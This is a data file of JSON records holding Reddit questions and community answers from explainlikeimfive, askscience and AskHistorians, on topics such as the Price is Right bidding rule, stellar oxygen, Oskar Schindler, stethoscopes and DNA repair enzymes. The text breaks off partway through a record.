{"q_id": "3o1q6o", "title": "what is the reasoning behind the \"price is right\" rule?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3o1q6o/eli5_what_is_the_reasoning_behind_the_price_is/", "answers": {"a_id": ["cvt7zvz", "cvt8r5r", "cvt8y8v", "cvtbhqe", "cvtenaa", "cvteqv0", "cvtf1oj", "cvtf7b8", "cvtfoo2", "cvtfr4m", "cvtgsvu", "cvtj07t", "cvtoxtp"], "score": [34, 111, 350, 29, 3, 4, 364, 16, 2, 5, 6, 2, 5], "text": ["It encourages people to think more carefully about what the price might be. Humans are predisposed to think that bigger is better. So if you're second or third in line to guess, and someone else has already said a high number, then naturally you'll want to one-up that person. Adding in the rule about not going over the price encourages contestants to consider dropping the price as well.", "Well, besides anything else, it's a fair rule that adds interest to the game.  Kind of like saying \"What is\" before every answer in Jeopardy.  It's a gimmick that makes the game unique.\n\nI can't think of any reason *not* to do it.  It gives some interesting strategies, like guessing $1 if you think everyone else is too high, or guessing the highest current guess + $1 if you think everyone is too low.", "It also eliminates ties. If the Price is Right rule didn't exist, and one person guesses $1 too high and another guesses $1 too low, you'd need a tie breaker", "They're supposed to be \"bidding\" on the item... why should you win for over bidding?", "It's like if the participants were in a store and they all wanted the same object. Each participant can make one offer to the seller. They need to bet higher than the other participant to get the object, but they must not pay an excessive price.  This is why even if you are closer to the real price, you still lose by over-guessing.", "The Price is Right rule adds a layer of excitement to the bidding process and that's good for ratings. That someone earns a bonus prize for getting the price exactly right but are penalized for being a penny over tempts viewers to pay close attention to the bids that are being placed.", "The whole game show was based around 1950's housewives with tight budgets. If you go over the price, then you lose because that means you aren't the best at budgeting (and going over is 'wasting' money). Additionally it makes it a whole lot easier to determine who should win any given guessing session. ", "It probably deals with the advertisers too. They want their product to be associated with either the true price or a lower price, and definitely not a higher price. \n\nImagine this scenario: \n\nContestants are bidding on a TV and everyone's bids are way overpriced. So the winner might win by bidding $1000 over.  The TV company definitely doesn't want their product associated with a falsely inflated price tag. ", "Idk why it is the way it is but it makes for a fun life rule too. My friends and i use the Price is Right rule whenever we guess the time, the score of a game, even when we are showing up to places on time w/o being late. It makes things interesting if you bet a tallboy on it. ", "Also a little insider's trivia and the dark secret they don't want you to know--about 80% of showcase winning prizes go unclaimed (people can't afford the taxes you have to pay on the prizes) womp wommmpppp", "It adds strategy and suspense.  You have to weigh the risk of going over against the risk of getting beat.", "Did anyone watch today's episode with Michael Irwin doing a crazy job at the end?!", "Have you ever played Blackjack? You try to get your cards to add as close to 21 as possible, but if you hit 22, you lose. It creates excitement and strategy, and there's an element of risk vs safety when you choose whether to bid or not.\n\nIf getting close in either direction were okay, there would be very little difference between 500 and 550; people wouldn't sweat their decision, they would just take a stab at it. Boring tv. But with the \"going over is bust\" rule, they agonize over that decision, even if they are pretty sure they know how much it costs. Much better tv."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "31tp5q", "title": "Why is Oxygen the 3rd most common element in the Sun?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/31tp5q/why_is_oxygen_the_3rd_most_common_element_in_the/", "answers": {"a_id": ["cq4zi1b", "cq5f69d"], "score": [81, 3], "text": ["Stellar structure is not my strong suit, so I apologize in advance for being sort of flippant with the actual physics of this. In fact, I made a huge error in my first run through of this by forgetting what the CNO cycle actually does and confusing it with the triple-alpha process. DOH.\n\nSo let's fix this. As stated in my first version of this (which was wrong), the Sun is not a first generation star. It gets a lot of material from the surrounding medium. Now, your average, garden variety star first burns H - >  He in the pp-chain or, for more massive stars, by the CNO cycle (which cycles through Carbon and Oxygen along the way).\n\nOnce Hydrogen is fused into Helium inside the core, more massive stars will go along the triple alpha process, turning 3 Helium-4 into Carbon-12, which can then capture an additional Helium to become Oxygen-16. The question now remains: how do we end up getting so much oxygen in the interstellar medium for the sun to form with oxygen ahead of carbon?\n\nI worked my brain on this for quite a while and couldn't think up a satisfactory answer. My solution as a scientist was to walk down the hall and ask our local stellar structure expert. The currently accepted solution is that Asymptotic Giant Branch (AGB) stars are the source. They go through the triple-alpha process to create Carbon and Oxygen, but also have unstable thermal pulses as a result of Helium/Hydrogen shell burning. This process will dredge up the oxygen, which will then get preferentially blown out by the strong stellar wind of these stars. Supernova also will contribute to enriching the ISM in this way, but these are much less numerous.\n\nThat is the best answer I have at the moment!\n\nEdit: Major changes thanks to cridlaajio", "This may be a stupid question, but if there is oxygen and hydrogen, is there any water produced directly by a star?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "65zv03", "title": "Why was Oskar Schindler worried about being captured after the war ended?", "selftext": "I'm watching the movie and obviously i know it's based on a true story. He says he will flee the factory after he hears that the war is over. Who was he afraid was going to capture him, and why did they want to capture him? Also, where did his workers go after he fleed? The scene where they are all asleep outside and a Soviet officer tells them they are liberated is confusing. I understand the movie was based on a novel which wasn't 100% true ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/65zv03/why_was_oskar_schindler_worried_about_being/", "answers": {"a_id": ["dger9tf"], "score": [33], "text": ["I don't have an answer to where the Schindlerjuden went to after Schindler fled, but I can try to shed some light on Schindler's rational.  The worry was not being captured per se, but rather it was being captured by the Soviets specifically. Oskar Schindler, under the rules of the laws of war, was a war criminal. He was a war profiteer (by providing the Nazis with enamelware,)  and he used slave labor (the Jews were not being paid, Schindler was paying the government to use slave labor). Obviously he has been largely vindicated for his actions in the eyes of history, but it would be a bit harder to prove that to a Soviet officer. So rather than face a potential summary execution, or being imprisoned in rather inhumane conditions, Schindler, as people far worse than he also did, decided to surrender instead to either the Americans or the British. Wernher von Braun (a key figure in the development of the American space program), for example, also made a similar decision as Oskar Schindler, and fled the Soviets so that he could surrender to the Americans. Over the course of the war, the British and Americans treated their POWs far better than the Soviets, and he likely hoped that he would more easily prove his case. For a very good book about Schindler, which goes to some length to deepen the picture of him and clarify some of the mythology about his life (created in no small part from the film, check out David Crowe's biography: _URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/oskar-schindler-the-untold-account-of-his-life-wartime-activities-and-the-true-story-behind-the-list/oclc/55679121"]]}
{"q_id": "2b9ck8", "title": "why are we disgusted by wearing the same clothes for an extended period of time without washing them, yet we will wear shoes for years without ever washing them?", "selftext": "The same with bedsheets. Of course, we wash these every so often, but not nearly as often as the clothes we wear. What is different about our clothes compared to our shoes and sheets? We spend about a third of our lives in our bed, and we wear our shoes almost as often as our clothes.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b9ck8/eli5_why_are_we_disgusted_by_wearing_the_same/", "answers": {"a_id": ["cj31pxq", "cj31zll", "cj328p8", "cj339zk"], "score": [2, 4, 2, 4], "text": ["Your socks tend to soak up the scent of your feet, leaving your shoes not exactly odour-free but not too bad. And we don't have noses on our knees, nor do we usually go around smelling peoples' feet, so we're not all that bothered.", "Well, we do wear socks as an easily washable boundary layer. But its basically cultural. People used to put on a pair of long underwear in the fall and not take them off until spring, and they didn't die from it... But at some point the mix of washing machines and central heating made us decide that was disgusting.", "I wash my shoes every now and then, especially the shoes I use for exercise.\n\nShoes are also relatively nonporous, enclosed spaces, so any objectionable odor is trapped inside them.", "I will wear pants if I didnt work in them more than one day without washing them. I have about 3 pairs of pants I wear regularly and I wash them maybe once every two weeks. Its because I wear boxers Im not worried about it. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2ilvzy", "title": "When did people start ordering their meats to temperature?", "selftext": "Not the most thrilling question, I know, but I work at a steakhouse and in the midst of chatting with a table, they asked. Didn't have a good answer for them and Google isn't being very helpful. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ilvzy/when_did_people_start_ordering_their_meats_to/", "answers": {"a_id": ["cl3a9ab"], "score": [3], "text": ["Roughly four hundred years ago. In writings from the 16th century there are references (snotty references) to less-than-civil people wolfing down undercooked joints of meat. By the 17th century we start to see references to meat being cooked *rare* rather than just plain underdone, and eating a bloody haunch began to be seen as a matter of preference rather than one of civility. By the middle of the 17th century, particularly in France, there was a healthy dialogue about whether rare-roasted beef was more favored by the digestion than well-boiled beef, and so on. It's pretty much a straight line from there to the modern sensibility that a steak cooked past medium is a waste of meat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8qipw2", "title": "Do dead insects \u201cgo bad\u201d for other insects that eat them such as spiders?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8qipw2/do_dead_insects_go_bad_for_other_insects_that_eat/", "answers": {"a_id": ["e0jtxb1", "e0jvx2y", "e0jyr51", "e0k45n7", "e0kf3sd", "e0klrqf", "e0kn0mu", "e0kt23c"], "score": [409, 4478, 112, 5, 26, 44, 17, 10], "text": ["Soft bodied insects such as aphids tend to fully decay in the hours to days range, after that there really isn\u2019t anything left.\n\nHowever hard bodied and/or dried insects such as beetles, some flies, spiders, etc. tend to stick arounds for a *very* long time. The Guiness Book of World Records shows the oldest known pinned insect from a natural collection at around 300 years old, which is far younger than the lice found on mummies and combs dating back thousands of years. Given the proper conditions dried dead insects could remain around for thousands of years without significant signs of decay.\n\nSo really it just depends *what kind* of insect you\u2019re talking about, but most tend to stay in pretty good condition and even the ones that dont will provide nutrition for microscopic organisms for a very long time.", "Yes, this could happen in theory. The reason that spoiled food makes us humans sick is because of the growth of harmful microorganisms and the subsequent release of toxins from those microbes. Many of the microorganisms that would grow on our human food would also grow on the soft tissue in insect bodies. However, due to our differing physiology, the things that make humans sick are seldom the same things that make animals sick, and so the insects that feed on other insects wouldn\u2019t necessarily get sick from salmonella. It seems very likely that some of the microbes that grow on dead insects might produce toxins that could be harmful to scavengers but most animals that feed on dead things are adapted to handle the bacteria and fungi that grow on this refuse. ", "My bearded dragon gets sick from dead insects, by observation it seems dead insect is bad for eating. Also when crickets start dying in their container, if I don't remove the dead ones the rest will swiftly follow, but I think that's to do with ammonia getting released. If that kills the others then eating the dead ones can't be good.", " Ot real answer but related : In a very interesting book of jean henri fabre he writes that\n 1 insects choose a very specific insects larva on which put their own larva \n2 very specific place on the larva \n3 once growing the larva actually eats first the non vital organs so the dinner-larva dies only at the end. \n\nThe book itself is really great : (in french but probably translated) _URL_0_", "One common strategy is to immobilize prey but leave it alive.\n\nSpiders wrap their prey in silk; ants might rip the legs off but leave the rest intact for a while. Wasps sometimes do a form of brain surgery before laying an egg. It's fun to watch them attempt this on a borage seed (which resembles a legless spider, and has a chewy bit where the cephalothorax would be, probably to get wasps' assistance in sowing).", "Parasitoid wasps use venom to either totally or temporarily paralyze their host insects. For instance, a caterpillar will rot and dry up within a day or so if killed. A parasitoid female will lay eggs on the caterpillar after \"stinging\" it to paralyze it. The caterpillar does not rot, instead it remains alive but paralyzed for over a week while the wasp eggs hatch (24-48 hours) then wasp larvae feed on the paralyzed caterpillar until they pupate, 12 days later.\n\nOther parasitoids go one step further: the host insect not only stays alive, but it continues feeding and growing, providing more nourishment for the parasitoid wasp larva growing within. I have seen aphids still alive, with wiggling legs and still feeding, while 90% of their body is filled with a wasp larva.", "I breed Dubai blaptica roaches for show animal feed and this is actually a big discussion.  And I don\u2019t see anyone here mentioning the most important part, the gut load.  \n\nBack in 1955 they carre d out a set of experiments on food absorption by periplanta americana and found that absorption/digestion rates in some insects lead to a potential for food borne pathogens to enter the food chain. It can take so long to digest food that Bacteria bloom, there is a suggestion that this is evolutionary in nature due to a potential higher calorie count. \n\nSo as far as a roach goes, it\u2019s more of a concern about what they eat being bad than the roach going bad.", "To give a more specific example, the bacterial genera *photorabdus* and *xenorhabdus* secrete rather potent toxins that kill not only many animals, but also other microbes. They are typically delivered to a live insect by a parasitic host, but are also found in the soil. They essentially establish the insect carcass as a \"me only\" zone, where anything else that tries to eat it is likely to get sick.\n\nIf the bacterium has a symbiotic host that it uses to move around, that host will be immune to the toxins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://fr.m.wikipedia.org/wiki/Souvenirs_entomologiques"], [], [], [], []]}
{"q_id": "24hm83", "title": "Why do reflecting telescopes form a clearer image than refracting telescopes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/24hm83/why_do_reflecting_telescopes_form_a_clearer_image/", "answers": {"a_id": ["ch7aqna"], "score": [5], "text": ["It is not really as clear cut as that. Here are some of the pros and cons of each telescope design (assuming a spherical mirror design):\n\nRefractor\n========\n+ Does not suffer from spherical abberation\n+ Longer Focal length means it can have better angular resolution\n- Suffers from Chromatic Abberation (Probably what you were thinking about here)\n- Lens tend to sag when supported from the edge\n- Making high quality glass is a nuisance\n- Shaping the glass properly.\n\nReflector\n=======\n+ Does not suffer chromatic abberation\n+ Easier to make large telescopes when all you need is a single large mirror at the back.\n+ Shorter focal length means you don't need as large a dome to house it. (Good on space and on cooling the dome quickly.)\n+ You can support and reshape the mirror from behind.\n- Suffers spherical abberation\n- Angular resolution is not as good as a refractor for similar apertures.\n\nReflecting telescopes are certainly better in most ways, but that doesn't mean that refractors are bad. Just that it is more efficient to use mirrors. For example, astrometry with a giant class refractor would kick arse."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ri0i5", "title": "The DRACO antiviral drug. Is it too good to be true? (Journal article attached)", "selftext": "[Here is the link](_URL_0_). After reading through the whole thing, I can find no flaws with this drug except that it has not been moved into phase 0 clinical testing. Is it a lack of funding? Can any other science savvy redditor find something wrong with this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ri0i5/the_draco_antiviral_drug_is_it_too_good_to_be/", "answers": {"a_id": ["c45z7am"], "score": [6], "text": ["That paper is nine months old. They may well be working on preclinical stuff right now; it takes a while.\n\nI'm working with a small biotech right now, trying to do the preliminary stuff to get to preclinical testing on a compound that was first published on ~2 years ago. And we got our funding fast-tracked. \n\nIt looks promising, but it's hard to say. From a brief scan of that paper it looks like they got it to work in tissue culture and got some proof of concept done in mice. Very interesting and very promising, but there's a lot of work yet to be done. We'll have to see how it turns out."]}, "title_urls": [], "selftext_urls": ["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0022572"], "answers_urls": [[]]}
{"q_id": "5nxh0b", "title": "what do doctors infer from using stethoscopes? how can they identify what's wrong with us by just hearing us breathe?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nxh0b/eli5_what_do_doctors_infer_from_using/", "answers": {"a_id": ["dcezmvr", "dcezre7", "dcf0038", "dcf021z", "dcf3qag", "dcf7pvs", "dcfik3k"], "score": [2, 5, 2, 56, 10, 2, 4], "text": ["It is a quick way to check if there is something obviously wrong.\n\nIf there is an obstruction you can hear air rushing past it. Fluid in the lungs? Idem. \n\nYou can test this yourself by taking a straw or another piece of tubing and blowing through it or sucking on it and pinching it a bit or having some fluid in it. If you listen well you can hear (subtle) differences.\n\nA true doctor or med student can probably give a more thorough explanation of what you can hear, what you can check etc.", "Stethescopes have the ability to audibly listen for irregularites or damage to your heart or lungs. \n\nQuick breathing in and out can help a doctor diagnose Bronchitis or Pneumonia from listening to your lungs or a heart afibrilation or tachycardia by listening to your heart.\n\nA stethescope is just one of many tools doctors use, but it's one of the most common tools used in just about every exam because every sick adult and children's lungs still sound roughly the same and the testing done with it is quick and simple, unlike scheduling an MRI or X-Ray.", "A stethoscope only tells you about problems with the heart and lungs. It can also help to identify bowel obstruction. For other parts of the body, other examination techniques are used.\n\nIf any problems are identified with the stethoscope, further investigations will usually be done, otherwise, a stethoscope probably wasn't really needed, e.g. for a simple respiratory tract infection. It's just a tool to help identify which areas of the body have problems, and other signs will be evident anyway.\n\nIf you hear any murmurs on the heart you will always do an ECG(=EKG) and an echocardiogram (unless the diagnosis is already known)", "Hi, medical student here! The two classic things most people think of when stethoscopes are mentioned are listening to the heart and lungs so I'll address these. But they can also be used to listen to arteries and the intestines. \n\nWhat the stethoscope does is amplify vibrations. Things moving underneath the skin cause tiny little vibrations which normally we couldn't hear, but the stethoscope is able to pick them up. So, on to what we actually listen for. \n\n**Heart**\n\nMostly what we listen for here are *heart sounds*. On top of just hearing blood rushing around in the heart, in a healthy person there should be another two distinct sounds that we hear, each referring valves closing in the heart. These are often referred to as \"lub\" and \"dub\". Two of the heart's four valves close when it starts to contract, and the other two close after it has finished contracting. \n\nIf we hear extra heart sounds or can't hear the normal heart sounds then this can be a sign that something is wrong with the heart. As well as this, if we place the stethoscope in very specific places we can listen to each of the four valves individually. This allows us to hear if there is a problem with any of them. \n\n**Lungs**\n\nWhen listening to breathing, rather than heart sounds we're listening for *breath sounds*. [This Wikipedia page](_URL_0_) has some good audio files of what we're listening for. Also, if we hear an abnormal sound in just one part of the lung that isn't present in the rest, then this tells us which part of the lung is diseased. \n\nWe can hear this because air flows through the airways differently if there is lots of fluid (e.g. in an infection), if the airways are narrowed, if there is a hard object (e.g. a tumor), etc. It is just a case of learning what healthy sounds are and then learning what all the abnormal breaths sound like in order to help in a diagnosis.\n\n >  How can they identify what's wrong with us by just hearing us breathe?\n\nI'd just like to quickly address this. We would never be able to make a diagnosis *purely* on the basis of listening to you breathe. It is just one tool that would be used alongside the other parts of a respiratory or cardiac exam, the questions we ask you, blood tests, etc. \n", "I once went to the Doc's for an irritatingly persistent (and... gooey) chest cold. He tells me to breathe in, winces a bit, then tells me to breathe out. And then says, verbatim, \"Gross. Yeah, you have pneumonia.\"  \n\nI took a listen. Yeah, gross is one word to describe the noise coming outta me. Sounded like trying to suck up a bunch of KY through a vacuum with a cheese cloth tied to the end. ", "Lung sounds can determine if your breaths sounds normal, sound like congestive heart failure, asthma or pneumonia. Also if it's absent as in a collapsed lung. And are the sounds in one area or throughout. \nThe heart sounds have their own distinct diagnoses and clues. \nAnd a stethoscope can also listen to bowel sounds for hypo/hyperactivity, normal sounds, gurgling or absence. ", "A little beside the point, since most of the good answers have already been given.  But some other neat little things a Stethoscope can be used for:\n\n- Bowel Sounds: not the most sensitive test, but a doc can infer whether your bowel is completely inactive (ileus), normally active, or hyperactive w/ tinkling, which could imply an obstruction.  \n\n- Reflex: for your lazy, non-Neurology docs who don't carry around a hammer, a Bell of the scope can be used as a handy hammer for testing reflex.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Respiratory_sounds#Abnormal_breath_sounds"], [], [], []]}
{"q_id": "1cr628", "title": "Are there any instances of a Sexually Transimitted Disease/Infection altering the sex drive of their 'host'", "selftext": "I've heard certain pathogens can affect the behaviour of their hosts to increase their chances of survival, for instance in ants. Does this happen in humans - especially with a focus on STI's. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1cr628/are_there_any_instances_of_a_sexually/", "answers": {"a_id": ["c9j8hlv"], "score": [2], "text": ["There is a brain parasite that causes small but statistically significant increases in risk taking and sexual promiscuity in humans. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Toxoplasmosis"]]}
{"q_id": "2nkadk", "title": "Does anything in our milky way galaxy orbit in the opposite direction?", "selftext": "\"At our sun's distance from the center of the Milky Way, it's rotating once about every 200 million years \u2013 defined by the length of time the sun takes to orbit the center of the galaxy.\" So we orbit around the center of the galaxy and our galaxy is shaped roughly like a disk, but do any other solar systems rotate around the galaxy in the opposite direction?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2nkadk/does_anything_in_our_milky_way_galaxy_orbit_in/", "answers": {"a_id": ["cmeinpr"], "score": [18], "text": ["It is possible, but then encounters with the disc will have a higher probability of scattering and being torn apart, thrown out or captured.\n\nGlobular clusters orbit in random orbits around the center. They are most likely mini-galaxies of their own. [An original article on retrograde globular clusters](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.tandfonline.com/doi/abs/10.1080/10556790108208191#.VHdJDhDET1E"]]}
{"q_id": "11r6vc", "title": "Did we ever work out what exactly hit Jupiter last month?", "selftext": "I never saw a follow up on that..", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11r6vc/did_we_ever_work_out_what_exactly_hit_jupiter/", "answers": {"a_id": ["c6oxok7", "c6oy6fu", "c6oy8pk", "c6oy8sw", "c6p1fjz", "c6p56yk", "c6p655i"], "score": [378, 69, 234, 12, 7, 2, 2], "text": ["Related question..  can an asteroid survive an \"impact\" with a gas giant and pass through?", "Hey OP can you provide a link to the thing you're asking about?", "[Currently, the theory is that a 10-metre asteroid hit Jupiter early Monday morning, just below a region known as the Northern Equatorial Belt.](_URL_0_)\n\nThat's just a quick Google though, so take with a grain of salt.", "Just from a quick [Google Search](_URL_0_), I couldn't find a definite answer, but:\n > While Jupiter\u2019s atmosphere has been churning through change, a number of objects have hurtled into it, creating fireballs visible to amateur Jupiter watchers on Earth. Three of these objects, probably less than 45 feet (15 meters) in diameter, have been observed since 2010. The latest of these hit Jupiter on September 10, 2012...\n\nEDIT: And [this source](_URL_1_) claims it is a frozen comet.\n > [Orton, who works at Jet Propulsion Labs,] thinks a frozen comet may be the culprit.", "[Video of the impact in question.](_URL_0_)", "Since there's no \"scar,\" is there any chance this wasn't an impact but an enormously unimaginable electrical discharge - ala lightning on earth?", "If Jupiter is molecular hydrogen around liquid and metallic hydrogen, how come it doesn't start some sort of planet wide nuclear fusion process when it gets hit with an impact like that?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://o.canada.com/2012/09/12/what-hit-jupiter-anatomy-of-an-impact/"], ["http://www.astronomy.com/~/link.aspx?_id=de2b1a6b-e768-4d72-9fbe-d851eab77c63", "http://phys.org/news/2012-09-explosion-jupiter.html"], ["http://www.flickr.com/photos/19299984@N08/7976507568/"], [], []]}
{"q_id": "1kiyr9", "title": "To what extent do abrahamic religions believe mythological creatures to be historical?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1kiyr9/to_what_extent_do_abrahamic_religions_believe/", "answers": {"a_id": ["cbpiym4", "cbplfpx", "cbplqso"], "score": [6, 2, 2], "text": ["I was born Muslim and was taught it in school, so I can tell you a lot of what Muslims literally believe because it's in the Qur'an.\n\nFirst, djinn are real, but they're mostly human-like (as in, they have similar drives and logic, etc) creatures that live in a parallel dimension kind of thing. Muslims believe they exist, but any modern rational Muslim will tell you that djinn appearing as snakes or cursing someone is nonsense. djinn are made of fire (sorta like how humans are made of mud).\n\nSecond, Lucifer, known as Ashaytan, is definitely a real entity. he has a running bet with Allah (god) that he will lead people into sin, causing them to go to hell. the origin of the bet is a dispute about Lucifer being a lesser being than humans when they were made. see when god made humans he asked the angels to kneel to his great creation, but Lucifer refused, and said let me live and I'll lesrs these humans to sin. so our life is basically a struggle with god sending prophets to guide us to heaven and Lucifer trying to \"whisper\" sin into our hearts. what creature Lucifer is (angel or something else) is unclear. \n\nThird, angels are real. they perform a number of tasks but they're basically god's assistants. they tally sins, hold the throne up, communicate with prophets, fight with Muslims in their armies.. you get the gist. Angels are made of fire.\n\nFourth, Alburaq. not much is known about that creature except that it took Mohammed to see god one night. some refer to it as a flying horse, but that's speculation. \n\nFifth, some individuals in the Muslim view of history had supernatural powers. some are the prophets that performed miracles (including Moses and Jesus), and some are folk blessed by god.\n\nSixth, god used to enlist animals and insects to help move things along.\n\nI can't reference all of these, but they are in the Qur'an. there is much more speculation about these and other issues, but it comes from \"scholars\", so from a Muslim point of view it's just educated guessing.", "There is no single answer to this question. There are observant Jews and Christians who believe and disbelieve in literal winged angels. There are observant Muslims who believe and disbelieve in djinn. There are also dozens, if not hundreds of interpretations of what the relevant passages in their respective scriptures mean.\n\nEven within individual denominations of Christianity (of which there are tens of thousands), you will often find no consensus on the subject--primarily because most adherents don't consider the existence of mythological creatures to be deeply relevant, so they don't bother nailing down a doctrinaire position on the subject.\n\nChristian denominations that espouse a literal interpretation of the Bible (a minority of Christian sects) contend with the idea of ancient giants and dragons--but even they may attempt to conform those beliefs to scientific (or pseudoscientific) explanations.\n\nDenominations that espouse a metaphorical interpretation of the Bible (unsurprisingly) consider references to mythological creatures to be folkloric or metaphorical.\n\nIf you're asking what the Pope or Pat Robertson believes--the Pope almost certainly believes that the mythological animals in the Bible are folkloric, as there is no reference to giants, dragons, leviathan, behemoth, or anything like them in the Catechism, and the Catholic Church officially sustains the scientific consensus on most issues (the age of the earth, evolution, etc.). Pat Robertson claims that most of the mythological animals discussed in the Bible were dinosaurs.", "This question has been removed because of its a-historical nature. Please post all anthropological queries in AskAnthropology, or re-word this question to deal with a specific, non-current time period."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "js2xp", "title": "Can we decrease our chances of getting cancer simply by upregulating DNA repair enzymes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/js2xp/can_we_decrease_our_chances_of_getting_cancer/", "answers": {"a_id": ["c2eoblq", "c2eonsx", "c2ep5pu", "c2ep9yk", "c2epk3t", "c2epqka", "c2eoblq", "c2eonsx", "c2ep5pu", "c2ep9yk", "c2epk3t", "c2epqka"], "score": [23, 10, 4, 7, 7, 2, 23, 10, 4, 7, 7, 2], "text": ["Maybe. That is an [active area of research](_URL_0_) in animal models.\n\nOne problem with this approach in humans is that it is, in general, much easier to inhibit, rather than up regulate, an enzyme  using drugs.", "This is one of the proposed mechanisms of the unproven theory of [radiation hormesis](_URL_0_).  The gist (of the theory) is that slightly elevated levels of radiation cause the DNA repair mechanisms to be more active, and that this elevated activity decreases chances of getting cancer.", "The upregulation of DNA repair enzymes is also coupled to many other cell pathways which cause cell cycle arrest and even apoptosis. If the cell is actively dividing, the upregulation of repair enzymes may cause the cell to permanently arrest its cell cycle and eventually undergo apoptosis thinking it has acquired significant and unrepairable DNA damage. Normally, the DNA damage triggers a pause in the cell cycle and once the repairs are completed, the cell resumes. If the enzymes are constantly upregulated via a drug, the pause may become permanent. This effect may be less pronounced in cells that have entered the G0 phase and are no longer actively dividing though. \n\nSo the method in which you upregulate the enzymes will have to be very specific so that it does not also trigger the cell to think it has very high and continuous levels of DNA damage, otherwise the cell will trigger pathways for apoptosis and self-destruct. If you can get the enzymes to be upregulated without triggering other DNA damage repair pathways it might be effective. ", "It *might* work. It's certainly been looked at as a treatment for existing cancer cells.\n\nHere's the thing, as a preventive measure, you'd be expressing and degrading a lot of excess protein 24/7 that you wouldn't be making otherwise. Increasing protein turnover is going to increase your chances of accruing misfolded proteins, which are associated with a lot of neurodegenerative diseases that scare me more than cancer does.", "It's a very interesting idea.  One issue that would be a problem (somewhat related to PostalPenguin's post, but different) is that many of the DNA repair pathways are normally regulated by the DNA damage response and DNA damage checkpoint pathways.  You might be able to artificially upregulate a DNA repair pathway, but if the DNA damage response is not coupled with this activation and the cells don't stop at appropriate cell cycle checkpoints, the repair enzymes may not have enough time to act before the cells divide again.  Alternatively, lack of time to complete repair could result in the triggering of apoptosis or senescence instead of cell division.  Depending on the tissue and cell type, loss of these cells or propagation of unrepaired DNA damage could both be detrimental.\n\nAnother issue would be which DNA repair pathways to upregulate (assuming it would be feasible, and it's actually not that easy).  If cells have a lot of double-stranded breaks, then you'd want to upregulate the homologous recombination machinery and the nonhomologous end-joining machinery- but which of these two pathways?  NHEJ usually acts during G1 phase, and HR usually acts during G2 phase, and there exists finer regulation depending on the cell type.  Also, which subpathways of HR- crossovers?  noncrossovers?  single-strand annealing?  break-induced replication?  All of these pathways have specific situations in which they are ideal, but the repair can be detrimental in other situations, and can actually lead to increased DNA damage.  If there are many UV-induced DNA lesions, then you'd want to upregulate the nucleotide excision repair pathways, and to combat replication errors, you'd want to upregulate the DNA mismatch repair pathways.  As you can see, even just choosing which pathways you want to upregulate is tricky business.  \n\nThe more pertinent application in trials right now in cancer patients is to inhibit DNA repair in combination with chemotherapeutics and radiation therapy.  There is promising evidence that combining defects in two different DNA repair pathways can inhibit tumor growth.  You're right that in theory, having better DNA repair would be a great cancer preventive measure, but I don't think we're there yet.  The best we can do is to try to limit DNA damage by limiting inhalation of cigarette smoke and particulates, intake of grilled fatty meats, and exposure to UV light and chemical carcinogens, and by increasing our intake of healthful vegetables and fruits containing antioxidants (to combat the reactive oxygen species produced during normal metabolism).  ", "Simply put, that's a fantastic question to ask.\n\nwhat about upregulating telomere repair?", "Maybe. That is an [active area of research](_URL_0_) in animal models.\n\nOne problem with this approach in humans is that it is, in general, much easier to inhibit, rather than up regulate, an enzyme  using drugs.", "This is one of the proposed mechanisms of the unproven theory of [radiation hormesis](_URL_0_).  The gist (of the theory) is that slightly elevated levels of radiation cause the DNA repair mechanisms to be more active, and that this elevated activity decreases chances of getting cancer.", "The upregulation of DNA repair enzymes is also coupled to many other cell pathways which cause cell cycle arrest and even apoptosis. If the cell is actively dividing, the upregulation of repair enzymes may cause the cell to permanently arrest its cell cycle and eventually undergo apoptosis thinking it has acquired significant and unrepairable DNA damage. Normally, the DNA damage triggers a pause in the cell cycle and once the repairs are completed, the cell resumes. If the enzymes are constantly upregulated via a drug, the pause may become permanent. This effect may be less pronounced in cells that have entered the G0 phase and are no longer actively dividing though. \n\nSo the method in which you upregulate the enzymes will have to be very specific so that it does not also trigger the cell to think it has very high and continuous levels of DNA damage, otherwise the cell will trigger pathways for apoptosis and self-destruct. If you can get the enzymes to be upregulated without triggering other DNA damage repair pathways it might be effective. ", "It *might* work. It's certainly been looked at as a treatment for existing cancer cells.\n\nHere's the thing, as a preventive measure, you'd be expressing and degrading a lot 